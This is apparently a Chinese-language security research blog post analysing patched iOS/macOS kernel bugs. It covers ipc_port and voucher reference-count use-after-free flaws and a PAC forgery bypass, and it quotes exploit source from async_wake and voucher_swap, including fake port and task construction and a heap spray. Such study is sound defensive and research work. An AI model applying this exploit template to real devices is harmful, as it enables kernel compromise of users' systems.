iOS Exploitation One - IPC Port Exploitation and PAC

本文介绍有关IPC_PORT相关的Exp技术,最后介绍苹果实现的PAC及其绕过技巧(已修复)。

IPC_PORT Reference Count Issue

Ian Beer在几个case描述文章中非常详细地描述了ipc_port的UAF漏洞及其利用技巧,这些UAF漏洞多是因未遵循MIG规则出现的reference count leak而造成的。

MIG Semantics

在Ian Beer发现的CVE-2016-7612中,介绍了MIG Ownership Rule:

ipc_kobject_server in ipc_kobject.c is the main dispatch routine for the kernel MIG endpoints. When userspace sends a
message the kernel will copy in the message body and also copy in all the message rights; see for example
ipc_right_copyin in ipc_right.c. This means that by the time we reach the actual callout to the MIG handler any port rights
contained in a request have had their reference count increased by one.

After the callout we reach the following code (still in ipc_kobject_server):

    if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
         //  The server function is responsible for the contents
         //  of the message.  The reply port right is moved
         //  to the reply message, and we have deallocated
         //  the destination port right, so we just need
         //  to free the kmsg.
        ipc_kmsg_free(request);
    } else {
         //  The message contents of the request are intact.
         //  Destroy everthing except the reply port right,
         //  which is needed in the reply message.
        request->ikm_header->msgh_local_port = MACH_PORT_NULL;
        ipc_kmsg_destroy(request);
    }

If the MIG callout returns success, then it means that the method took ownership of *all* of the rights contained in the message.
If the MIG callout returns a failure code then the means the method took ownership of *none* of the rights contained in the message.

ipc_kmsg_free will only destroy the message header, so if the message had any other port rights then their reference counts won't be
decremented. ipc_kmsg_destroy on the other hand will decrement the reference counts for all the port rights in the message, even those
in port descriptors.

If we can find a MIG method which returns KERN_SUCCESS but doesn't in fact take ownership of any mach ports its passed (by for example
storing them and dropping the ref later, or using them then immediately dropping the ref or passing them to another method which takes
ownership) then this can lead to us being able to leak references. 

以上的规则主要描述的是资源释放责任的问题,ipc_kobject_server内部会调用MIG Handler,并根据Handler的返回值来处理资源释放:如果返回KERN_SUCCESS,表明Handler函数已经释放了除Header外的全部资源(dec reference);否则表明Handler函数未释放传入资源,需要ipc_kobject_server调用ipc_kmsg_destroy来释放全部资源,包括Head的资源(remote/local port)。

基于这样的规则,开发的MIG Handler则必须遵守,否则会出现reference count leak问题。比如,Handler函数释放了传入资源,却返回失败,导致ipc_kobject_server二次释放资源;或者Handler函数返回成功,却没有消费reference count,也导致count leak。

从漏洞挖掘的角度来看,我们就是需要找到全部违背规则的MIG Handler。MIG Handler的列表参考mig_e这个全局变量:

const struct mig_subsystem *mig_e[] = {
        (const struct mig_subsystem *)&mach_vm_subsystem,
        (const struct mig_subsystem *)&mach_port_subsystem,
        (const struct mig_subsystem *)&mach_host_subsystem,
        (const struct mig_subsystem *)&host_priv_subsystem,
        (const struct mig_subsystem *)&host_security_subsystem,
        (const struct mig_subsystem *)&clock_subsystem,
        (const struct mig_subsystem *)&clock_priv_subsystem,
        (const struct mig_subsystem *)&processor_subsystem,
        (const struct mig_subsystem *)&processor_set_subsystem,
        (const struct mig_subsystem *)&is_iokit_subsystem,
	(const struct mig_subsystem *)&lock_set_subsystem,
	(const struct mig_subsystem *)&task_subsystem,
	(const struct mig_subsystem *)&thread_act_subsystem,
#ifdef VM32_SUPPORT
	(const struct mig_subsystem *)&vm32_map_subsystem,
#endif
	(const struct mig_subsystem *)&UNDReply_subsystem,
	(const struct mig_subsystem *)&mach_voucher_subsystem,
	(const struct mig_subsystem *)&mach_voucher_attr_control_subsystem,
	(const struct mig_subsystem *)&memory_entry_subsystem,

#if     XK_PROXY
        (const struct mig_subsystem *)&do_uproxy_xk_uproxy_subsystem,
#endif /* XK_PROXY */
#if     MACH_MACHINE_ROUTINES
        (const struct mig_subsystem *)&MACHINE_SUBSYSTEM,
#endif  /* MACH_MACHINE_ROUTINES */
#if     MCMSG && iPSC860
	(const struct mig_subsystem *)&mcmsg_info_subsystem,
#endif  /* MCMSG && iPSC860 */
        (const struct mig_subsystem *)&catch_exc_subsystem,
        (const struct mig_subsystem *)&catch_mach_exc_subsystem,

};

每一个subsystem都包含大量的MIG Handler,例如iokit相关的is_iokit_subsystem:

_Xio_object_get_class
_Xio_object_conforms_to
_Xio_iterator_next
_Xio_iterator_reset
_Xio_service_get_matching_services
_Xio_registry_entry_get_property
_Xio_registry_create_iterator
_Xio_registry_iterator_enter_entry
...
_Xio_connect_set_notification_port
_Xio_connect_map_memory
_Xio_connect_method_scalarI_scalarO
...

下一节展示了一个违背规则的实例。

Example 1: IOSurfaceRootUserClient vulnerability

参考: CVE-2017-13861

Ian Beer的描述如下:

IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port
(via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered
a port with the same callback function.
 
The external method's error return value propagates via the return value of is_io_connect_async_method back to the
MIG generated code which will drop a futher reference on the wake_port when only one was taken.

This bug is reachable from the iOS app sandbox as demonstrated by this PoC.

s_set_surface_notify不管怎么样都会drop一个wake_port的计数,但是却不一定返回成功。这样就违背了MIG Ownership规则,造成wake_port的reference count leak。

下一小节详细描述了Ian Beer是如何exploit这个漏洞获取tfp0(task for pid 0)的。

Example 2: async_wake_ios exploit (tfp0)

Ian Beer针对上一小节的漏洞开发了一个exp,最终获得tfp0,达到任意内核地址读写的目的。exp source code可以从上面的链接中获取。
本节介绍这个exp的原因是,这是一个很好的模版,这一类型的漏洞都可以套用这个模版开发自己的exp,事实上,我就套用了这个模版针对necp和proc_args漏洞开发了针对macOS 10.14的exp.
Ian Beer除了使用上述漏洞CVE-2017-13861,还使用了另一个heap内存泄漏的漏洞CVE-2017-13865. CVE-2017-13861: 用来dec ref count -> 0,最终释放这个ipc_port。
CVE-2017-13865: 用来泄漏heap内存,在本例中,用来泄漏ipc_port的地址。

Ian Beer的exp technique描述如下:

I use the proc_pidlistuptrs bug to disclose the address of arbitrary ipc_ports. This makes stuff a lot simpler :)
To find a port address I fill a bunch of different-sized kalloc allocations with a pointer to the target port via mach messages using OOL_PORTS.

I then trigger the OOB read bug for various kalloc sizes and look for the most commonly leaked kernel pointer. Given the
semantics of kalloc this works well.

I make a pretty large number of kalloc allocations (via sending mach messages) in a kalloc size bin I won't use later, and I keep hold of them for now.

I allocate a bunch of mach ports to ensure that I have a page containing only my ports. I use the port address disclosure to find
a port which fits within particular bounds on a page. Once I've found it, I use the IOSurface bug to give myself a dangling pointer to that port.

I free the kalloc allocations made earlier and all the other ports then start making kalloc.4096 allocations (again via crafted mach messages.)

I do the reallocation slowly, 1MB at a time so that a kernel zone garbage collection will trigger and collect the page that the dangling pointer points to.

The GC will trigger when the zone map is over 95% full. It's easy to do that, the trick is to make sure there's plenty of stuff which the GC can collect
so that you don't get immediately killed by jetsam. All devices have the same sized zone map (384MB).

The replacement kalloc.4096 allocations are ipc_kmsg buffers which contain a fake IKOT_TASK port pointing to a fake struct task.
I use the bsdinfo->pid trick to build an arbitrary read with this (see details in async_wake.c.)

With the arbitrary read I find the kernel task's vm_map and the kernel ipc_space. I then free and reallocate the kalloc.4096 buffer replacing it with a fake
kernel task port.

主要方法是:

  1. 确保一整个page存储的全部是我们分配的ipc_port
  2. 使用漏洞将目标ipc_port释放
  3. 释放page上其他的ipc_port,使整个page处于释放状态
  4. 触发gc,使得page能够跨zone被重新使用
  5. 使用构造的ipc_kmsg重用page,ipc_kmsg将用fake_port填充page
  6. 使用pid_for_task获得kernel task vm_map & ipc_space
  7. 重新使用ipc_kmsg重用page,这次fake_port指向的fake_task包含了一个fake kernel task port
  8. 获得tfp0,结束

下面详细介绍一下上述步骤(更多请参考async_wake_ios)

1. 确保一整个page存储的全部是我们分配的ipc_port

作者一次性分配了100000个ipc_port:

  int n_pre_ports = 100000; //8000
  mach_port_t* pre_ports = prepare_ports(n_pre_ports);

这样消耗了足够的ipc zone空间里的free entry,然后必然要申请page来存放新的ipc_port,从而保证了一定有page上全是新分配的ipc_port。
ipc_port_page

2. 使用漏洞将目标ipc_port释放

首先需要知道什么是目标ipc_port?Ian Beer在源码中的描述如下:

  // now find a suitable port
  // we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
  // completely control all the data:
  // specifically we're targetting kalloc.4096 but the message body will only span
  // xxx448 -> xxxfbc so we want to make sure the port we target is within that range
  // actually, since we're also putting a fake task struct here and want
  // the task's bsd_info pointer to overlap with the ip_context field we need a stricter range

这里的目标主要是和作者的exploit方法有关,后文会提到作者使用了ipc_kmsg这种方法分配并填充内核内存,这种方法的缺点是,不能完整控制整个page,毕竟其还包括一些header和tailer的部分,真正受控的部分是body部分。所以为了能使用ipc_kmsg复用ipc_port内存,我们需要找到能落到body部分的ipc_port。作者的搜索条件是xxx448 -> xxxfbc,实际因为exploit的时候,在fake_port前面还要放置fake_task,所以实际搜索条件还要更严格一些,作者在源码中用的是xxxa00 -> xxxe80:

  for (int i = 0; i < ports_to_test; i++) {
    mach_port_t candidate_port = pre_ports[base+i];
    uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
    uint64_t page_offset = candidate_address & 0xfff;
    if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
      printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address);
      pre_ports[base+i] = MACH_PORT_NULL;
      first_port = candidate_port;
      first_port_address = candidate_address;
      break;
    }
  }

至于如何获得ipc_port的内核地址,作者这里使用的是heap泄漏的漏洞,用ool_ports的方法找到指定的port内核地址,具体可以参考函数find_port_address
target_ipc_port_page

接下来使用前面提到的ipc_port deference漏洞将找到的ipc_port释放,即make_dangling

make_dangling(first_port);

freed_first_ipc_port_page
上图中,first_port即是之前找到的符合要求的ipc_port的用户态句柄,现在已经使用漏洞将其内存强行释放掉了,留下用户态的first_port句柄还指向它。注意这里的强行释放指的是没有抹除ipc_entry中的内容。

3. 释放page上其他的ipc_port,使整个page处于释放状态

直接将page上的其他port使用mach_port_destroy释放掉即可。
all_freed_ports

4. 触发gc,使得page能够跨zone被重新使用

目前上述的page里面的ipc_port已经全部被释放了,只留下一个first_port作为dangling pointer还指向page中的目标ipc_port,后面就可以用一些有目的性的内容重用这个page了(主要指的是重用目标ipc_port内存)。
但和普通的UAF不一样的是,并不能直接分配一块大小相近的内存来重用,原因是这个page属于特定的ipc port zone。为了能重用到这块page,我们需要触发gc(garbage collection)将其从ipc port zone中释放出来。

  // free the smaller ports, they will get gc'd later:
  for (int i = 0; i < n_smaller_ports; i++) {
    mach_port_destroy(mach_task_self(), smaller_ports[i]);
  }

  
  // now try to get that zone collected and reallocated as something controllable (kalloc.4096):

  const int replacer_ports_limit = 200; // about 200 MB
  mach_port_t replacer_ports[replacer_ports_limit];
  memset(replacer_ports, 0, sizeof(replacer_ports));
  uint32_t i;
  for (i = 0; i < replacer_ports_limit; i++) {
    uint64_t context_val = (context_magic)|i;
    *context_ptr = context_val;
    replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
    
    // we want the GC to actually finish, so go slow...
    pthread_yield_np();
    usleep(10000);
    printf("%d\n", i);
  }

作者在触发gc前,提前申请了150MB的数据,这里将其全部释放以供gc使用;然后慢慢重新分配内存,这些内存全部填充了准备好的ipc_kmsg内容,注意每申请1MB就需要等10ms。

5. 使用构造的ipc_kmsg重用page,ipc_kmsg将用fake_port填充page

第4步中,提到触发gc时,用精心构造的ipc_kmsg重用page,这里很关键,这些数据是为tfp0准备的。上面的代码中可以看到,replacer_message_body即是构造好的数据。主要由build_message_payload函数构造:

  uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
  printf("replacer_body_size: 0x%x\n", replacer_body_size);
  printf("message_body_offset: 0x%x\n", message_body_offset);

build_message_payload函数主要是在一个page大小内构造了fake_port和fake_task。

uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
  uint8_t* body = malloc(message_body_size);
  memset(body, 0, message_body_size);
  
  uint32_t port_page_offset = dangling_port_address & 0xfff;
  
  // structure required for the first fake port:
  uint8_t* fake_port = body + (port_page_offset - message_body_offset);

  
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
  *(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
  
  *context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
  
  
  // set the kobject pointer such that task->bsd_info reads from ip_context:
  int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
  
  uint64_t fake_task_address = dangling_port_address + fake_task_offset;
  *(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
  
  
  // when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
  // pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!

  if (fake_port + fake_task_offset < body) {
    printf("the maths is wrong somewhere, fake task doesn't fit in message\n");
    sleep(10);
    exit(EXIT_FAILURE);
  }

  uint8_t* fake_task = fake_port + fake_task_offset;
    
  // set the ref_count field of the fake task:
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
    
  // make sure the task is active
  *(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
    
  // set the vm_map of the fake task:
  *(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
    
  // set the task lock type of the fake task's lock:
  *(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
  return body;
}

注意fake_port和fake_task的位置,首先fake_port_和fake_task都在这个page内,其次fake_port的IP_KOBJECT指向fake_task,而且还要让task->bsd_info和ip_context重叠,这样后面只要设置context为任意地址值,就可以用pid_for_task读取任意内核内存了。

uaf_fake_port_task

6. 使用pid_for_task获得kernel task vm_map & ipc_space

到目前为止,已经实现了任意地址读了:通过调用mach_port_set_context把任意地址设置到context里面,再调用pid_for_task即可。
接下来,为了获取tfp0,我们需要任意地址写的权限,只需要将步骤5中的fake_task的vm_map替换成kernel_map即可,所以首先需要得到kernel_map的地址。
此处略。

7. 重新使用ipc_kmsg重用page,这次fake_port指向的fake_task包含了一个fake kernel task port

步骤5中,我们已经用一个ipc_kmsg重用了page,且fake_task的vm_map值是0,为了替换成kernel_map,我们需要再次释放这个page,并用新构造的ipc_kmsg重用page。

kmsg_free kernel_map_port

8. 获得tfp0,结束

至此,我们已经可以直接使用first_port作为tfp0调用mach_vm_readmach_vm_write读写任意内核内存了。
作者最后还额外创建了一个safe_tfp0,略。

Apple Fixed This Kind of Issue

从这个exploit可以看出,这是一种新类型的漏洞和利用方法,我们只要能通过代码审计找到所有违背MIG Ownership规则的地方,就能利用上面的模版exploit macOS和iOS。
苹果通过修复ipc_port_release_send这个函数把这一类型的漏洞全部封堵了:

void
ipc_port_release_send(
	ipc_port_t	port)
{
	ipc_port_t nsrequest = IP_NULL;
	mach_port_mscount_t mscount;

	if (!IP_VALID(port))
		return;

	ip_lock(port);

	assert(port->ip_srights > 0);
	if (port->ip_srights == 0) {
		panic("Over-release of port %p send right!", port);
	}

	port->ip_srights--;
	...
}

主要是增加了一个ip_srights的检查,如果下溢了,直接panic,没有机会再dec ref count了。

Conclusion

由于MIG Rule的原因,Ian Beer发现了一批ipc_port reference count leak类型的漏洞,并且开发了一个很好的模版来完成tfp0。影响很大,苹果也修复了这一类型的漏洞,至此,已经不能简单使用MIG Rule漏洞来做exploit了。
但是,这个exploit技巧仍然有深远的影响。第一,这是一个很好的模版,引入了tfp0这个概念。第二,如果你能用其他手段将ipc_port释放掉,仍然能直接套用此模版成功exploit,比如我发现的necp type confusion漏洞。

IPC_VOUCHER Reference Count Issue

苹果封堵了ipc_port利用方法后,最近又爆出一种看起来很类似的漏洞,voucher uaf。这种漏洞影响很大,作者只使用了这一个漏洞就得到了tfp0。同时,除了作者本人,网络上出现了很多安全研究员利用这个漏洞完成了ios 12.1.2前的越狱。

本文主要介绍这个漏洞两位作者的exploit。

Voucher Swap Vulnerability

首先,我们来看一下这个漏洞本身。

mig_internal novalue _Xtask_swap_mach_voucher
       (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
...
   kern_return_t RetCode;
   task_t task;
   ipc_voucher_t new_voucher;
   ipc_voucher_t old_voucher;
...
   task = convert_port_to_task(In0P->Head.msgh_request_port);

   new_voucher = convert_port_to_voucher(In0P->new_voucher.name);

   old_voucher = convert_port_to_voucher(In0P->old_voucher.name);

   RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);

   ipc_voucher_release(new_voucher);

   task_deallocate(task);

   if (RetCode != KERN_SUCCESS) {
       MIG_RETURN_ERROR(OutP, RetCode);
   }
...
   if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
       ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);

   if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
       ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
...
   OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);

   OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
   OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
   OutP->msgh_body.msgh_descriptor_count = 1;
}

在_Xtask_swap_mach_voucher中,通过调用convert_port_to_voucher获得了voucher对象,并且reference count + 1;而ipc_voucher_releaseconvert_voucher_to_port则会将reference count - 1,看起来一切正常。
问题出在task_swap_mach_voucher中:

kern_return_t
task_swap_mach_voucher(
       task_t          task,
       ipc_voucher_t   new_voucher,
       ipc_voucher_t   *in_out_old_voucher)
{
   if (TASK_NULL == task)
       return KERN_INVALID_TASK;

   *in_out_old_voucher = new_voucher;
   return KERN_SUCCESS;
}

直接将new_voucher赋值给了in_out_old_voucher,即_Xtask_swap_mach_voucher中的old_voucher被直接替换成了new_voucher,这也意味着new_voucher被释放了2次,直接导致了voucher对象被释放。
需要注意的是,苹果对ipc_port ref count漏洞的patch对voucher对象无效,因为他们是不同的对象,一个是ipc_port,一个是ipc_voucher。ipc_port是用来做通讯的,其中的ip_kobject指向具体的内核对象,可以是task,可以是threat,也可以是voucher。ipc_voucher的数据结构如下:

struct ipc_voucher {
   iv_index_t      iv_hash;        /* checksum hash */
   iv_index_t      iv_sum;         /* checksum of values */
   os_refcnt_t     iv_refs;        /* reference count */
   iv_index_t      iv_table_size;  /* size of the voucher table */
   iv_index_t      iv_inline_table[IV_ENTRIES_INLINE];
   iv_entry_t      iv_table;       /* table of voucher attr entries */
   ipc_port_t      iv_port;        /* port representing the voucher */
   queue_chain_t   iv_hash_link;   /* link on hash chain */
};

本文介绍的voucher漏洞即上述ipc_voucher空间可以被UAF。
接下来,我们看看两位作者是如何做exploit的。

S0rryMybad’s Exploit (tfp0)

参考: Author: Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team
这个洞是S0rryMybad在天府杯比赛的时候用的洞,结合了一个browser的洞,做到了对iOS12的远程提权。
参考文章中作者已经介绍的很详细了,下面只是把重点列一下。
S0rryMybad的主要思路可能是(没有源码,部分是个人理解添加的):

  1. 保证一整页全是ipc_voucher对象
  2. 随便选一个voucher对象,设置dangling pointer:调用thread_set_mach_voucher将voucher对象绑定到threat中,然后用漏洞将voucher对象ref降低。
  3. 释放整页的ipc_voucher。
  4. 用OSString对象复用page,伪造ipc_voucher对象,将其iv_port指向一个fake_port
  5. fake_port地址可以从OSString中选,也可以hardcode,作者选择了hardcode。如果从OSString中选一个也行,因为可以提前用OSString泄漏一个iv_port对象地址出来。
  6. fake_port指向了一个fake_task,fake_task的值可以用OSString设置,实现了tfp0。
  7. 不过用OSString设置值很麻烦,因为每次设置一个新的地址值,需要重新构建fake_port->fake_task->new_address,作者使用了remap的方法,将内核待设置任意地址值的虚拟地址映射到了用户态,这样只要在用户态更改值就可以做到任意地址读了。
  8. 构建fake kernel task,实现tfp0。

Brandon’s Exploit (tfp0)

参考: voucher_swap: Exploiting MIG reference counting in iOS 12

Brandon的方法主要如下:

  1. Allocate a page of Mach vouchers.
  2. Store a pointer to the target voucher in the thread’s ith_voucher field and drop the added reference using the vulnerability.
  3. Deallocate the voucher ports, freeing all the vouchers.
  4. Force zone gc and reallocate the page of freed vouchers with an array of out-of-line ports. Overlap the target voucher’s iv_refs field with the lower 32 bits of a pointer to the base port and overlap the voucher’s iv_port field with NULL.
  5. Call thread_get_mach_voucher() to retrieve a voucher port for the voucher overlapping the out-of-line ports.
  6. Use the vulnerability again to modify the overlapping voucher’s iv_refs field, which changes the out-of-line base port pointer so that it points somewhere else instead.
  7. Once we receive the Mach message containing the out-of-line ports, we get a send right to arbitrary memory interpreted as an ipc_port.

task_swap_voucher_mig

Brandon的方法主要是:

incrementing an out-of-line Mach port pointer so that it points into pipe buffers.

Brandon的方法主要利用了pipe buffers这个技巧,此技巧最早参见Ian Beer的multi_pathempty_list.
为了使用这个技巧,作者二次使用这个漏洞,将ool_ports中的某个port地址值自增,以使得其与pipe buffer重叠,再通过receive ool ports得到新的mach port。随后即可使用这个新的mach_port在用户态构造tfp0。

我在第一次阅读这篇文章后,产生了两个问题:

  1. 为何额外要设置dangling pointer?用户态创建voucher的时候不是已经获得一个mach port了吗,就用这个mach port作为dangling pointer不行吗?比如在本文上一章中介绍Ian Beer的exploit时候,也是如此,直接用first port即可。
  2. 通过receive port即可获得新的mach_port吗?毕竟真实的ipc_port对象没有被修改,修改的只是ool_ports这个array中的地址值而已。

通过阅读XNU源码,可以知道,与Ian Beer哪个async wakeup不一样的是,这次voucher对象的release,是官方的release方法,会将voucher上的ipc_object也释放掉,包括ipc_space中的entry,即mach port被释放掉了,不存在dangling pointer了,所以才需要额外设置一个dangling pointer。而关于第二个问题,可以参考ipc_kmsg_copyout_ool_ports_descriptor,最终调用ipc_object_copyout将修改后的地址作为一个新的对象插入task的ipc_space。这里也正是因为调用了ipc_object_copyout,需要提前将对应的pipe buffer初始化好,否则会panic:

	// 4. Spray our pipe buffers. We're hoping that these land contiguously right after the
	// ports.
	assert(pipe_buffer_size == 16384);
	pipe_buffer = calloc(1, pipe_buffer_size);
	assert(pipe_buffer != NULL);
	assert(pipe_count <= IO_BITS_KOTYPE + 1);
	size_t pipes_sprayed = pipe_spray(pipefds_array,
			pipe_count, pipe_buffer, pipe_buffer_size,
			^(uint32_t pipe_index, void *data, size_t size) {
		// For each pipe buffer we're going to spray, initialize the possible ipc_ports
		// so that the IKOT_TYPE tells us which pipe index overlaps. We have 1024 pipes and
		// 12 bits of IKOT_TYPE data, so the pipe index should fit just fine.
		iterate_ipc_ports(size, ^(size_t port_offset, bool *stop) {
			uint8_t *port = (uint8_t *) data + port_offset;
			FIELD(port, ipc_port, ip_bits,       uint32_t) = io_makebits(1, IOT_PORT, pipe_index);
			FIELD(port, ipc_port, ip_references, uint32_t) = 1;
			FIELD(port, ipc_port, ip_mscount,    uint32_t) = 1;
			FIELD(port, ipc_port, ip_srights,    uint32_t) = 1;
		});
	});

Issues

Brandon的exploit主要问题在于,在第4步中,他用ool_ports来重用ipc_voucher,造成iv_refs与ipc_port的低32位重合,而iv_refs是有要求的:

iv_refs must be in the range 1-0x0fffffff

在iOS中,由于弱kASLR,这个条件还好;但是在macOS中,这个条件很难满足。

Spark’s Exploit (tfp0)

略。

Apple Fixed This Vulnerability

在我的10.14.3 macOS上,苹果的新版_task_swap_mach_voucher代码如下:

__text:FFFFFF80003DEBB0                 public _task_swap_mach_voucher
__text:FFFFFF80003DEBB0 _task_swap_mach_voucher proc near
__text:FFFFFF80003DEBB0                 push    rbp
__text:FFFFFF80003DEBB1                 mov     rbp, rsp
__text:FFFFFF80003DEBB4                 mov     rdi, [rdx]
__text:FFFFFF80003DEBB7                 call    _ipc_voucher_release
__text:FFFFFF80003DEBBC                 mov     eax, 2Eh ; '.'
__text:FFFFFF80003DEBC1                 pop     rbp
__text:FFFFFF80003DEBC2                 retn
__text:FFFFFF80003DEBC2 _task_swap_mach_voucher endp

即释放old_voucher然后直接返回失败。

Conclusion

S0rryMybad的exploit技巧和Brandon的完全不一样,一个用iv_port做文章,一个用iv_ref做文章。
需要特别注意的是,Brandon的利用技巧中,完全没有利用iv_port地址leak这个特性,而是找到了很多其他的方法来泄漏内核地址:

  1. ip_messages.imq_messages
  2. ip_requests

我们也可以使用这个小技巧,针对port类型的漏洞就可以减少一个对kernel address leak类型洞的需求。

PAC

参考: Examining Pointer Authentication on the iPhone XS

What is PAC?

PAC即Pointer Authentication Code,很多人也直接将Pointer Authentication称为PAC,本文也是指的是Pointer Authentication。
在PAC的机器上,主要加入了一些PAC指令还加密揭秘内核指针值。

ARMv8.3-A introduces three new categories of instructions for dealing with PACs:

PAC* instructions generate and insert the PAC into the extension bits of a pointer. For example, PACIA X8, X9 will compute the PAC for the pointer in register X8 under the A-instruction key, APIAKey, using the value in X9 as context, and then write the resulting PAC'd pointer back in X8. Similarly, PACIZA is like PACIA except the context value is fixed to 0.
AUT* instructions verify a pointer's PAC (along with the 64-bit context value). If the PAC is valid, then the PAC is replaced with the original extension bits. Otherwise, if the PAC is invalid (indicating that this pointer was tampered with), then an error code is placed in the pointer's extension bits so that a fault is triggered if the pointer is dereferenced. For example, AUTIA X8, X9 will verify the PAC'd pointer in X8 under the A-instruction key using X9 as context, writing the valid pointer back to X8 if successful and writing an invalid value otherwise.
XPAC* instructions remove a pointer's PAC and restore the original value without performing verification.

In addition to these general Pointer Authentication instructions, a number of specialized variants were introduced to combine Pointer Authentication with existing operations:

BLRA* instructions perform a combined authenticate-and-branch operation: the pointer is validated and then used as the branch target for BLR. For example, BLRAA X8, X9 will authenticate the PAC'd pointer in X8 under the A-instruction key using X9 as context and then branch to the resulting address.
LDRA* instructions perform a combined authenticate-and-load operation: the pointer is validated and then data is loaded from that address. For example, LDRAA X8, X9 will validate the PAC'd pointer X9 under the A-data key using a context value of 0 and then load the 64-bit value at the resulting address into X8.
RETA* instructions perform a combined authenticate-and-return operation: the link register LR is validated and then RET is performed. For example, RETAB will verify LR using the B-instruction key and then return.

What problems does PAC solve?

PAC主要解决的是任意内核代码执行的问题。不管是UAF漏洞用ROP去执行,还是上述漏洞修改vtable用JOP去执行,都需要首先填充一个内核可执行地址到指定位置去执行,而在有PAC的机器上,所有的内存地址指针是加密使用的,攻击者直接提供明文的内核地址值是验证不过的。
所以在PAC的机器上,绕过PAC是一个比较热的话题,Brandon在他的文章里面尝试了多种方法均失败了,最后尝试了加签(sign gadget)的方法,成功找到了一个gadget,当然,这个问题已经被苹果修掉了。

PAC Bypass (PAC Forge by Brandon)

作者找到了一个bug:

The fourth weakness
After giving up on signing gadgets and pursuing a few other dead ends, I eventually wondered: What would actually happen if PACIZA was used to sign an invalid pointer validated by AUTIA? I'd assumed that such a pointer would be useless, but I decided to look at the ARM pseudocode to see what would actually happen.

To my surprise, the standard revealed a funny interaction between AUTIA and PACIZA. When AUTIA finds that an authenticated pointer's PAC doesn't match the expected value, it corrupts the pointer by inserting an error code into the pointer's extension bits:

// Auth()
// ======
// Restores the upper bits of the address to be all zeros or all ones (based on
// the value of bit[55]) and computes and checks the pointer authentication
// code. If the check passes, then the restored address is returned. If the
// check fails, the second-top and third-top bits of the extension bits in the
// pointer authentication code field are corrupted to ensure that accessing the
// address will give a translation fault.

bits(64) Auth(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data,
             bit keynumber)
   bits(64) PAC;
   bits(64) result;
   bits(64) original_ptr;
   bits(2) error_code;
   bits(64) extfield;

   // Reconstruct the extension field used of adding the PAC to the pointer
   boolean tbi = CalculateTBI(ptr, data);
   integer bottom_PAC_bit = CalculateBottomPACBit(ptr<55>);
   extfield = Replicate(ptr<55>, 64);

   if tbi then
       ...
   else
       original_ptr = extfield<64-bottom_PAC_bit-1:0>:ptr<bottom_PAC_bit-1:0>;

   PAC = ComputePAC(original_ptr, modifier, K<127:64>, K<63:0>);
   // Check pointer authentication code
   if tbi then
       ...
   else
       if ((PAC<54:bottom_PAC_bit> == ptr<54:bottom_PAC_bit>) &&
           (PAC<63:56> == ptr<63:56>)) then
           result = original_ptr;
       else
           error_code = keynumber:NOT(keynumber);
           result = original_ptr<63>:error_code:original_ptr<60:0>;
   return result;

Meanwhile, when PACIZA is adding a PAC to a pointer, it actually signs the pointer with corrected extension bits, and then corrupts the PAC if the extension bits were originally invalid. From the pseudocode for AddPAC() above:

   ext_ptr = extfield<(64-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>;

PAC = ComputePAC(ext_ptr, modifier, K<127:64>, K<63:0>);

// Check if the ptr has good extension bits and corrupt the pointer
// authentication code if not;
if !IsZero(ptr<top_bit:bottom_PAC_bit>)
       && !IsOnes(ptr<top_bit:bottom_PAC_bit>) then
   PAC<top_bit-1> = NOT(PAC<top_bit-1>);

